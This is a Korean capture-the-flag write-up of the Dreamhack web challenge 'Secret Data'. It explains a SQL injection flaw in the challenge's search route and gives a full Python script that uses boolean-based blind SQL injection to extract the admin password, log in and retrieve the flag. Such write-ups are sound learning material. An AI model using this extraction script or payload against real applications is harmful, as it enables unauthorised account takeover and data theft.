Wargame/Dreamhack

[Web] Secret Data

Hy0unSa9ng 2026. 4. 26. 17:18
sql = f"SELECT COUNT(*) FROM secret_data WHERE title LIKE '%{query}%'"

deploy/app.py의 search 라우트를 보면 사용자의 입력값(query)을 필터링 없이 그대로 SQL 쿼리문에 삽입하고 있습니다.

위 SQL 쿼리르 직접으로 입력하게 되면 아래와 같은 코드로 보일 수 있습니다.

SELECT COUNT(*) FROM secret_data WHERE title LIKE '%%' AND 1=1 AND '%'='%'

결과가 참(1=1)인 경우 Found! Data exists in our records.를, 거짓(1=0)이면 Not found!를 반환하는 점을 이용하여 Boolean-based Blind SQL Injection 공격을 수행할 수 있습니다.

cursor.execute(f"INSERT OR IGNORE INTO users (username, password) VALUES ('admin', '{os.urandom(8).hex()}')")

코드 상에서 어드민 계정의 비밀번호를 Hex로 자동생성을 사용하는 것을 알 수 있고, 16자리의 16진수(0-9, a-f) 문자열로 이루어져 있음을 유추해 볼 수 있습니다.

위 내용을 바탕으로 아래의 Exploit를 작성하였습니다.

Exploit Code

import requests
import string
import sys
import re

def exploit(url):
    password = ""
    charset = string.digits + "abcdef"
    
    print("[*] Extracting admin password...")
    
    for i in range(1, 17):
        for char in charset:
            payload = f"%' AND (SELECT substr(password,{i},1) FROM users WHERE username='admin')='{char}' AND '%'='"
            data = {"query": payload}
            r = requests.post(f"{url}/search", data=data)
            
            if "Found! Data exists in our records." in r.text:
                password += char
                print(f"[+] Found char {i}: {char} (Current: {password})")
                break
                
    print(f"\n[+] Admin password extracted: {password}")
    
    if len(password) != 16:
        print("[-] Failed to extract the full password. Is the target correct?")
        return

    print("\n[*] Logging in...")
    session = requests.Session()
    login_data = {
        "username": "admin",
        "password": password
    }
    r = session.post(f"{url}/login", data=login_data)
    
    if "Login successful!" in r.text or "admin" in r.text:
        print("[+] Logged in successfully!")
    else:
        print("[-] Login failed.")
    
    print("[*] Getting flag...")
    r = session.get(f"{url}/admin")
    
    match = re.search(r'DH\{.*?\}', r.text)
    if match:
        print(f"\n[+] FLAG: {match.group(0)}")
    else:
        print("\n[-] Flag not found in response.")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: python {sys.argv[0]} <target_url>")
        print(f"Example: python {sys.argv[0]} http://host3.dreamhack.games:XXXXX")
        sys.exit(1)
        
    target_url = sys.argv[1].rstrip("/")
    exploit(target_url)

위 코드를 이용하여 풀이하는 경우 성공적으로 풀이할 수 있습니다!